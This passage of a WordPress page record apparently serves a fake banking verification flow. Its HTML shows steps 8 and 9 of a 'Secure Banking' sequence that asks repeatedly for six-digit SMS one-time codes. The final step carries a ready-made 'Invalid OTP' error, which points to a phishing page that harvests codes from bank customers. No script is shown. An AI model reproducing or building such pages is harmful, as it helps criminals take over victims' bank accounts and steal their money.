class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 8: OTP 2 -->\r\n            <div class=\"kfh-screen\" id=\"step8\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">OTP Verification (2nd)<\/div>\r\n                        <div class=\"step-subtitle\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay2\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer2\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp2_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn2\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep8Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n\r\n            <!-- STEP 9: FINAL OTP -->\r\n            <div class=\"kfh-screen\" id=\"step9\" style=\"background-image: url('https:\/\/alresal.co\/pkonline\/wp-content\/uploads\/2026\/08\/PK-BG.webp'); background-size: cover; background-position: center;\">\r\n                <div class=\"screen-container\">\r\n                    <div class=\"step-header\"><\/div>\r\n                    <div class=\"inner-box\">\r\n                        <div class=\"step-icon-wrapper\">\r\n                            <svg width=\"38\" height=\"38\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#42B029\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <rect x=\"5\" y=\"2\" width=\"14\" height=\"20\" rx=\"2\" ry=\"2\"\/>\r\n                                <line x1=\"12\" y1=\"18\" x2=\"12.01\" y2=\"18\"\/>\r\n                            <\/svg>\r\n                        <\/div>\r\n                        <div class=\"step-title\">Final OTP Verification<\/div>\r\n                        <div class=\"step-subtitle\">SMS has been sent on your mobile number<\/div>\r\n                        <div class=\"mobile-display\" id=\"mobileDisplay3\">Mobile Number: ****35<\/div>\r\n\r\n                        <div class=\"otp-timer\">\r\n                            <span class=\"timer-text\">Resend in <\/span>\r\n                            <span class=\"timer-count\" id=\"otpTimer3\">300<\/span>\r\n                            <span class=\"timer-text\">s<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"error-message\" id=\"errorMessage\">\r\n                            <svg class=\"error-icon\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\r\n                                <circle cx=\"12\" cy=\"12\" r=\"10\"><\/circle>\r\n                                <line x1=\"12\" y1=\"8\" x2=\"12\" y2=\"12\"><\/line>\r\n                                <line x1=\"12\" y1=\"16\" x2=\"12.01\" y2=\"16\"><\/line>\r\n                            <\/svg>\r\n                            <span class=\"error-text\">Invalid OTP. Please try again.<\/span>\r\n                        <\/div>\r\n\r\n                        <div class=\"otp-boxes\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_1\" maxlength=\"1\" inputmode=\"numeric\" autofocus>\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_2\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_3\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_4\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_5\" maxlength=\"1\" inputmode=\"numeric\">\r\n                            <input type=\"tel\" class=\"otp-digit\" id=\"otp3_6\" maxlength=\"1\" inputmode=\"numeric\">\r\n                        <\/div>\r\n\r\n                        <button class=\"resend-btn\" id=\"resendOtpBtn3\" disabled>Resend OTP<\/button>\r\n\r\n                        <div class=\"btn-bottom\">\r\n                            <button class=\"next-btn\" id=\"nextStep9Btn\">\r\n                                <span class=\"btn-text\">Verify<\/span>\r\n                                <span class=\"btn-loader\"><\/span>\r\n                            <\/button>\r\n                        <\/div>\r\n                    <\/div>\r\n                    <div class=\"step-footer\">Secure Banking<\/div>\r\n                <\/div>\r\n            <\/div>\r\n        <\/div>\r\n        <\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t\t\t\t<\/div>\n\t\t","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-10","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/pages\/10","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/comments?post=10"}],"version-history":[{"count":5,"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/pages\/10\/revisions"}],"predecessor-version":[{"id":16,"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/pages\/10\/revisions\/16"}],"wp:attachment":[{"href":"https:\/\/alresal.co\/pkonline\/wp-json\/wp\/v2\/media?parent=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}